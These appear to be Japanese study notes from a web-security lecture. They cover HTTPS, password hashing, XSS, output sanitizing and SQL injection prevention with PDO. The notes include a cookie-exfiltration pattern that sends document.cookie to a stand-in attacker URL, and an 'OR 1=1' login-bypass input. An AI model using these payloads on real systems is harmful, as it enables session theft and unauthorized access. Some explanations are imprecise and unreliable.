セキュリティのアタック側のことも知ってないといけない
攻撃にあうようなものをつくってはいけないし
公開領域に置いてもいけない
公開されたサービスで、お客さんが被害を受けるようなのは本当にシャレにならない
裁判沙汰になるかも
まだ力量のない人はそういうのを作っちゃいけません
ログインするサービス
→パスワードはある
→パスワードが公開領域においてはいけない
→かといって照合できないというのでもこまる
ネット決済がついているとカード情報とかまでくっついている
とんでもなくあぶない
①サービスは基本的に暗号化されたサイトで行う
非暗号化のサービスはつくっちゃいけない
クライアントからそんなのいらないよとか言われたら断らなきゃいけません
②パスワードはプレーンテキストで保存してはいけない
絶対に
ハッシュする
初期の時代のアルゴリズムを使うと読まれちゃったりする
レインボーテーブル:
暗号解読したよリストみたいなもの。
ハッシュ前とハッシュ後の一覧があってどのアルゴリズムを利用しているかが一発で分かる
それがない新しいアルゴリズムを使う必要がある
クリプト
という関数を必ず使う
数年でこのアルゴリズムは変わっていくので網を張っておくこと
IPAが告知する情報を読んでおくこと
登録すると情報が配信されるよ
ともかく最新のアルゴリズムを使いましょう
一般的なハッキングの技術
クロスサイトスクリプティング(XSS)
>掲示板サイトやTwitterのような、ユーザからの入力内容をWebページに表示するWebアプリケーションにおいて、ウェブサイト(標的サイト)の脆弱性(XSS脆弱性)を利用した攻撃手法を指します。 攻撃者は、入力内容に、スクリプト付のリンクを貼る等の罠を仕掛けます。
javaScriptによる攻撃
document.cookie
とすると、
そのサイトが利用しているクッキーが取得できる
ウェブブラウザでFBにはいったとする、
クッキーにパスワードを保存するにチェックをいれたとする
windows→ファイル名を指定して実行→shell:cookiesと打つと自分のクッキーがでてくるらしい
当然FBが外側から自分のマシンのクッキーを参照できる特別の権限がある
クッキーフォルダというのはそういう場所です
定期的に削除するのがよろしい
賞味期限がふつうは付与されていて自動で消えるらしい
しかしグーグルさんがむかし100年生きる賞味期限をつけたりして問題になったらしい
本当はFBだけがパスワードの情報のあるクッキーにアクセスできるわけだが、
そこに先のJS、document.cookieを仕込むと
http://warusite/?pass=document.cookie
みたいな事になる
これを拒否する仕掛けがないと、とある投稿を閲覧した人全員の
パスワードを抜くことが出来る
アクセスログとしてわるいさいとに残る
アパッチ→Logs→アクセスログでアクセスログは見られる
ブログとかでもhtmlの特定のタグだけが使っていいようにするべきらしい
サニタイズ関数
危険な文字をサニタイズしてから出力するという技術もある
無害化ともいう
害が起こるようなタグやソースを無害化してから出力する
サニタイズ関数というのがあるらしい
他の人が書き込めるようなブログ(コメント機能があるとか)を作るなら
必ずこの機能が必要になってくる。誰が何を書き込むかわからないから
サニタイズしてからechoするようにするらしいよ
SQLインジェクション
7割はこれらしい
>アプリケーションのセキュリティ上の不備を意図的に利用し、アプリケーションが想定しないSQL文を実行させることにより、データベースシステムを不正に操作する攻撃方法のこと。 また、その攻撃を可能とする脆弱性のことである。
SQL文を書き換える内容をpostやgetで送り込むらしい
SELECT uname FROM users
WHERE uname="[]" AND pass="[]";
SELECT uname FROM users
WHERE uname="[hoge]" AND pass="[foo" OR 1=1]";
名前欄にhoge
パスワード欄にfoo " OR 1=1
と入れると
突破できてしまうというもの
これを防ぐためにPDOというクラスが開発された
PDOオブジェクトを介してやり取りするように変わったらしい
これをつかえばSQLインジェクションは起こらないらしいので
PDO技術はいま必須らしい